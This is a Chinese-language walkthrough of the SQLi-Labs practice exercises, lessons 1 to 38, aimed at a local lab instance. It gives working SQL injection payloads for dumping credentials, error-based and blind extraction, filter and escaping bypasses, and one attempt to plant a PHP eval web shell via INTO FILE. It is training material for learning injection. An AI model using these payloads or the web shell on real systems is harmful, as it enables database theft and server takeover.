Sqli Labs

 

Less-1

分析

输入 1',报错结果为

1566560719007

即错误发生在语句 '1'' LIMIT 0,1附近。可以看出由于我输入的单引号导致字符串未闭合,说明存在字符型注入。另外,错误信息中还爆出了 LIMIT 0,1,说明该查询只显示第一行数据

猜测源语句为 id='$id'

利用方法

  1. 使用单引号闭合,如 1' and '1'='1
  2. 使用注释,如 1' --%20

注入步骤

order by判断字段数,使用语句 http://192.168.130.128:8080/Less-1/?id=1' order by 4 --%20。解出字段数为3

1566562464542

输入一个不存在的id,用 union select查看显示的是哪几个字段,使用语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,2,3 --%20

1566563085103

使用 database()查看当前查询数据库,语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,database(),3 --%20

1566563183015

查看数据库中存在的库,语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --%20

1566563288631

查看目标库security中存在的表,语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3 --%20

1566563388406

查看目标表users中存在哪些字段,语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --%20

1566563481503

查看usernamepassword,语句 http://192.168.130.128:8080/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --%20

1566563590793

Less-2

分析

输入 1',报错附近语句为 ' LIMIT 0,1;输入 1' and '1'='1,报错附近语句为 ' and '1'='1 LIMIT 0,1。单引号无法闭合,因此判断为整数型注入。

猜测原语句为 id=$id

利用方法

整数型注入不需要考虑单引号拼接问题,直接拼接语句

注入结果

使用语句 http://192.168.130.128:8080/Less-2/?id=-1 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)爆出所有用户信息

Less-3

分析

使用 1',报错附近语句为 '1'') LIMIT 0,1

猜测原语句为 (id='$id')id=('$id'),存在字符型注入。

利用方法

总之考虑单引号和括号的闭合

注入结果

直接注释版 http://192.168.130.128:8080/Less-3/?id=-1') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --%20

Less-4

分析

输入 1'显示正常,输入 1"报错,错误附近语句为 "1"") LIMIT 0,1

猜测原语句为 id=("$id"),存在字符型注入

注入结果

直接注释版 http://192.168.130.128:8080/Less-4/?id=-1") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --%20

Less-5

分析

输入 1,这是啥…

1566565656696

输入 1',报错为 '1'' LIMIT 0,1。怀疑是单引号包起来的字符型注入。但是输入 1' and '1'='1依然显示you are in。看了一眼源代码,原来是半个盲注。然后唯一能显示信息的点就是报错。这种注入称为 Double Injection

利用方法

写得太太太全了

注入过程

一开始构造语句http://192.168.130.128:8080/Less-5/?id=1' union select 1,(select count(*) from (select 0 union select 1) tmp group by concat((select authentication_string from mysql.user),floor(rand(14)*2)) LIMIT 1),3 --%20,报错提示子查询只能包含一行。我以为是拼接函数中子查询的问题,添加 limit 1后仍然报错,后来意识到在union select语句中我这便是一个子查询。但是为了让其报错,肯定不能只执行一次得到第一个项后就返回,因此 union select语句不应当使用,同样,本来就不从正确显示中看结果,也没必要使用这个。

改之,http://192.168.130.128:8080/Less-5/?id=1' and '1' in (select count(*) from (select 0 union select 1) tmp group by concat((select database()), ' ', floor(rand(14)*2))) --%20,能够得到数据库名 security,同理能够一个一个地爆出里面地内容。试过用group_concat()好像不行。

补充

group_concat()不行是因为concat只接受长度64位以内

Less-6

分析

输入 1'显示正常;输入 1",报错为 "1"" LIMIT 0,1。存在字符型注入,猜测语句为 id="$id"

利用方法和注入过程基本同上。

换个语句 http://192.168.130.128:8080/Less-6/?id=1"and (select 1 from (select concat((select database()), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c) tmp) --%20

补充

使用函数 extractvalue(arg1, arg2)arg1:要查询的内容,任意;arg2:xml文件路径;利用,构造错误的路径格式;示例:http://192.168.130.128:8080/Less-6/?id=1" and extractvalue("asda", concat("~", (select database()))) --%20

使用函数 updatexml(arg1, arg2, arg3);arg1:被替换的内容,arg2:xml路径,arg3替换内容。同上。示例 http://192.168.130.128:8080/Less-6/?id=1" and updatexml('asd', concat("~~~~~~", database()), 'asd') --+

Less-7

分析

输入 1'显示错误,输入 1' and '1' = '1显示正确,但是输入 1' --%20显示错误。说明存在字符型注入且可能存在一些符号需要闭合。

输入 1' ) --%20显示错误,输入 1' )) --%20显示正确。猜测语句为 id = (('$id'))

利用方法

只给出语句正确或错误,题目提示文件操作相关

注入过程

构造语句 http://192.168.130.128:8080/Less-7/?id=1')) and (select '<?php @eval($_POST["vwmin"]);?>' into file '/var/www/html/test.php') --+,提示错误。进入容器执行了一下,报错信息为权限不足。可能因为是装在docker里的问题…

修改站点文件夹权限777,选择显示报错信息,尝试,

1566698806138

我不懂了。下一个

Less-8

分析

输入 1', 没有显示;输入 1' and '1'='1,有显示。存在字符型注入,但是是盲注。

利用方法

ord()返回字符的ascii值

length() 用于猜解字段长度

count()用于猜解数量

substring()用于猜解内容

编写python脚本

注入结果

1566784593064

Less-9

分析

因为任何输入的反映都是一样的,就不分析了。

利用方式

if(arg1, arg2, arg3)如果arg1的值为true,返回arg2的值,否则返回arg3的值

mid(columnName, from, lenth)用法等同substring

sleep(second)挂起

注入结果

1566800422077

过于缓慢…

补充

题目提示了是单引号,但是如果不知道该怎么弄?

Less-10

分析

双引号,延时盲注,同上

Less-11

分析

username处输入 1' and 1=1,报错显示 ' and password='123' LIMIT 0,1 。存在字符型注入.

猜测原语句为 username='$username' and password='$password'

利用

基本的基于报错的字符型注入

注入过程

构造语句 =1' and extractvalue("asda", concat("~", (select username from users limit 1))) and '1'='1 从错误信息中爆出一个username,构造语句 Dumb' or '1'='1完成登陆

补充

假设情况如题,有两个注入点,通过构造语句可以在中间插入一个表达式。

不使用注释,默认密码为未知,三个表达式都生效时有(其中第一个T代表存在): | exp | result | bool | | ————- | —- | ————- | | T or T and F | ALL | 1 | | T or F and F | ALL | 1 | | T and T and F | NONE | 0 | | T and F and F | NONE | 0 | | F or T and F | NONE | 0 | | F or F and F | NONE | 0 | | F and F and F | NONE | 0 | | F and T and F | NONE | 0 |

使用注释,令后一表达式不生效,有(其中第一个T代表存在):

exp result bool
T or T ALL 1
T or F ONE 1
T and T ONE 1
T and F NONE 0
F or T ALL 1
F or F NONE 0
F and F NONE 0
F and T NONE 0

测试:ALL和ONE均可完成登陆,其中ALL登陆后显示账号为第一个。

结论:诡异的布尔运算

真结论:如果能够插入注释,或许可以啥账号都不需要知道。

Less-12

分析

输入 123'无显示,输入 123' -- 无显示,输入 123' and '1'='1无显示…

输入 123"报错为 123") LIMIT 0,1

猜测原语句为 uname=("$uname") and passwd=("$passwd")

注入

使用上节的结论,构造 123") or 1=1 -- 登陆成功

Less-13

分析

输入 123'报错显示 '123') LIMIT 0,1

猜测语句为 uname=('$uname') and passwd=('$passwd')

注入

  1. 同上节可以直接登陆
  2. 基于布尔值的盲注,通过登陆成功与否得出信息
  3. Double Injection,从报错中获得信息

Less-14

分析

输入 123'无显示,输入 123",报错为 'qwe" LIMIT 0,1

猜测原语句为 uname="$uname" and passwd="$passwd"

注入

利用方法同上

Less-15

分析

除了登陆成功的图片没有任何显示,构造单引号闭合的万能密码成功登陆,说明应该就是单引号闭合。

注入

选择布尔盲注或者延时盲注

Less-16

分析

构造语句 123") or 1=1 -- 登陆成功,说明是双引号加括号闭合。

注入

同上

补充

在直接套用前几节的脚本时出现了问题,因为布尔运算中存在逻辑截断,所以if()中的内容根本没执行。找了半天原因人都傻了

Less-17

分析

各种操作无果。看源代码,对uname的输入做了格式检查,但password没有

利用

基于报错的注入

Less-18

分析

检查源码,uname和passwd都做了输入检查。但是存在一条插入语句,插入的内容是HTTP头部中的UA字段,那么注入点就在这里。

利用

因为同时给出了报错信息,构造语句 ' and extractvalue("asd", concat("~", (select database()))) and '爆出数据库。因为是插入语句,所以有点不一样

Less-19

分析

类似上节,注入点在HTTP头部refer字段

Less-20

分析

尝试一次正常的登陆,POST方式,带上uname和passwd发送,验证通过后服务端进行一次重定向,发送GET请求到同一个url,带有一个Cookie,内容如 uname=admin,然后进入登陆成功页面。猜测应该是POST请求服务端验证成功后向浏览器写入cookie,其后每一次对该页面的请求浏览器都会携带该cookie,服务端根据cookie中uname查询数据库,存在则回显。利用这里的回显,从uname注入

利用

不使用密码,抓包添加uname=任意用户名就可以登陆。嗯,但是这又不是重点。

注入

admin' order by 3 # 得出三行显示

123' union select (select database()), 2, 3 # 得出库名

后续操作同1

Less-21

分析

抓包查看重定向请求,依然可见cookie中的uname,但是做了base64编码和url编码

利用

对注入内容进行编码就行

补充

base64 encode 不同的站点选择的加密算法不同,有的会把一些特殊符号转化成适用于HTML显示的格式,这会导致构造的语句出问题

偶然发现使用一个必定不存在的函数也能爆出库名

Less-22

分析

双引号闭合,注入同上

Less-23

分析

这个题的要点是如何通过报错信息判断输入检查对注释符号做了哪些处理。

输入 1',报错 '1'' LIMIT 0,1;输入 1'#,井号紧跟,报错 '1'' LIMIT 0,1,嗯,没了;输入 1'-- ,报错 '2'' LIMIT 0,1,也没了。

利用

闭合单引号

注入

-1' union select 1, (select database()), '3

Less-24

分析

首先登陆界面各种尝试无果。注册界面能够注册包含特殊字符的账号。登陆成功后是重设密码界面,重设密码输啥都行…

(翻博客中…)

审查源代码,登陆界面使用审查函数为 mysql_real_escape_string(),转义 SQL 语句中使用的字符串中的特殊字符;创建账户界面使用审查函数为 mysql_escape_string(),作用跟上一个类似;修改密码界面对输入做了同样的检查,但是username却是从存储session里面直接取出来没做审查的。

结论:存在二次注入。就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

注入

已经确定了注入点在修改密码的username处。创建一个账号名admin'#,登陆后修改密码。那么原语句变成了UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'

输入用户admin,输入修改的密码,登陆成功。

Less-25

分析

输入 1',报错 '1'' LIMIT 0,1,判断为单引号字符型注入。

输入 1'and '1'='1,结果中and被去掉了;换成大写依然不行;双写绕过成功;||能用, &&不能用,怎么回事。

注入

联合查询就可以

Less-25a

分析

捣鼓了半天结果是整型注入,双写绕过可行、逻辑运算符绕过可行。

注入

盲注

Less-26

分析

输入 1',报错为 '1'' LIMIT 0,1,说明是单引号闭合。

输入and,提示中and被去掉,双写可绕过。

还可见语句中空格、注释符都会被去掉。

利用

其他一些url编码的符号可等同空格的作用,反正一共256个数字挨着试

注入

随便试了下 http://192.168.130.131:8080/Less-26/?id=1'anandd%a0extractvalue("asda", concat("~", (select%a0database())))%a0anandd%a0'1'='1

Less-26a

分析

上一个的半个盲注版本。

1'%a0anandd'1'='1显示正确输出,初步判定为单引号闭合。在此基础上构造回显失败,继续判断。

999')%a0union%a0select%a01,2,('3回显成功,因此是单引号加括号闭合。

Less-27

分析

输入 1',报错 '1'' LIMIT 0,1,初步判定为单引号闭合;空格被去掉;union、select被去掉,可双写绕过,可大小写绕过;注释被去掉;

注入

http://192.168.130.131:8080/Less-27/?id=99991'%a0uniounionn%a0SeLecT%a01,2,'3

Less-27a

分析

上题半个盲注版本,测试出为双引号闭合

9991"%a0uniounionn%a0SeLecT%a01,2,"3

less-28

分析

使用 %a0绕过空格过滤,双写、大小写绕过关键字过滤,猜一下闭合

注入

http://192.168.130.131:8080/Less-28/?id=999')%a0UnioN%a0SeLeCt%a01,2,('3

Less-28a

分析

还是半个盲注,http://192.168.130.131:8080/Less-28a/?id=1999')%a0uniOn%a0SeleCt%a01,2,('3

Less-29

分析

输入 1',报错 '1'' LIMIT 0,1;输入 1' and '1'='1,显示正确;

输入 -1' union select 1, (select database()), 3 --+直接出现回显,并没有感觉到WAF在干活,不过从下面显示的query string看来好像对请求做了一个转发一样,对语句进行了url编码

Less-30

分析

输入 1'显示正常,输入 1"无显示,输入 1" and "1"="1显示正常,初步判定为双引号闭合。

注入

-1" union select 1, (select database()), "3 WAF似乎依旧没有干活

Less-31

分析

输入 ")"时,报错为 ") LIMIT 0, 1,判断为双引号加括号闭合。

注入

-1") union select 1, (select database()), ("3显示出数据库名

Less-32

分析

输入 1',可见单引号前被加反斜杠。

特殊字符大多被反斜杠处理

尝试用各种编码绕过无果

利用

宽字节注入

前提:数据库使用了GBK编码

对象:反斜杠

原理:gbk属于多字节编码,即两个字节代表一个汉字。反斜杠的编码是%5c,但是当其前面遇到%df时,会因GBK编码而将这两个字节转换成汉字。这样就把原本要被转移的特殊字符给保留了下来。

注入

-1%df%27 union select 1,(select database()),3 --+爆出数据库。这里没有用闭合,因为报错unknown column,可能时因为汉字的存在

Less-33

分析

怎么感觉跟32没变化?

Less-34

分析

POST方法的反斜杠绕过,基本同上。

学到了新的一点,用 or 1 limit [index], [size]选择要回显谁

Less-35

分析

整数型的,同样宽字节绕过

Less-36

分析

过滤函数换成了mysql-real-escape-string(),依然选择宽字符绕过

Less-37

分析

POST方法,绕过同上 admin%bf%27 or 1 limit 1#

Less-38

分析

简单试了下,似乎与普通的字符型注入无二。但是根据题干,堆叠注入,先查一下。